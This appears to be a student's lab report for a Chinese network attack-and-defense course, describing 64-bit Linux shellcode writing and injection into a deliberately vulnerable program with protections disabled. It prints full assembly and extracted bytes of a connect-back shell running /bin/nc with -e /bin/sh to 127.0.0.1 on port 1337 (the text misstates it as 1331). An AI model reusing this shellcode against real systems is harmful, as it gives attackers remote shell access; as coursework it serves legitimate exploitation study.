2019-2020-2 20175234 赵诗玥 《网络对抗技术》 Exp1+ 逆向进阶

实验环境

  • 1、关闭堆栈保护
  • 2、关闭堆栈执行保护
  • 3、关闭地址随机化
  • 4、在Linux实践环境

实验任务

  • Task1 (5-10分)
    • 自己编写一个64位shellcode。参考shellcode指导。
    • 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。

实验过程

3.1 实验源码

3.2编写 .nasm文件

more pro1.asm 
; { Title: Shellcode linux/x86-64 connect back shell }

; Author    : Gaussillusion
; Len       : 109 bytes
; Language  : Nasm

;syscall: execve("/bin/nc",{"/bin/nc","ip","1337","-e","/bin/sh"},NULL)

BITS 64
xor     rdx,rdx
mov     rdi,0x636e2f6e69622fff
shr     rdi,0x08
push    rdi
mov     rdi,rsp

mov     rcx,0x68732f6e69622fff
shr     rcx,0x08
push    rcx
mov     rcx,rsp

mov     rbx,0x652dffffffffffff
shr     rbx,0x30
push    rbx
mov     rbx,rsp

mov     r10,0x37333331ffffffff
shr     r10,0x20
push    r10
mov     r10,rsp

jmp short ip
continue:
pop     r9

push    rdx  ;push NULL
push    rcx  ;push address of 'bin/sh'
push    rbx  ;push address of '-e'
push    r10  ;push address of '1337'
push    r9   ;push address of 'ip'
push    rdi  ;push address of '/bin/nc'

mov     rsi,rsp
mov     al,59
syscall


ip:
        call  continue
        db "127.0.0.1"

可以很清楚的看到ip地址127.0.0.1,端口1331

3.3汇编

nasm -felf64 pro1.asm -o pro1.o

3.4链接

ld pro1.o -p pro1
报错如下:

这是因为ld在将所有目标文件链接起来时,不知道程序的入口点在哪里。解决:给汇编文件添加 _start部分

global _start 

section .text

_start:

3.5测试汇编代码

3.6提取shellcode

\x48\x31\xd2\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x48\xc1\xef
\x08\x57\x48\x89\xe7\x48\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48
\xc1\xe9\x08\x51\x48\x89\xe1\x48\xbb\xff\xff\xff\xff\xff\xff\x2d
\x65\x48\xc1\xeb\x30\x53\x48\x89\xe3\x49\xba\xff\xff\xff\xff\x31
\x33\x33\x37\x49\xc1\xea\x20\x41\x52\x49\x89\xe2\xeb\x11\x41\x59
\x52\x51\x53\x41\x52\x41\x51\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8
\xea\xff\xff\xff\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31
  • 方法一:反汇编摘出有用部分

  • 方法二:xxd指令,找到代码段,复制出来

3.7 将提取出来的Shellcode做测试

3.8构造要注入的payload

  • 注意实验环境
    • 关闭堆栈保护
    • 关闭地址随机化

3.9修改攻击buf重新注入

3.10结合nc测试注入

END

猜你喜欢

转载自www.cnblogs.com/ysz-123/p/12451830.html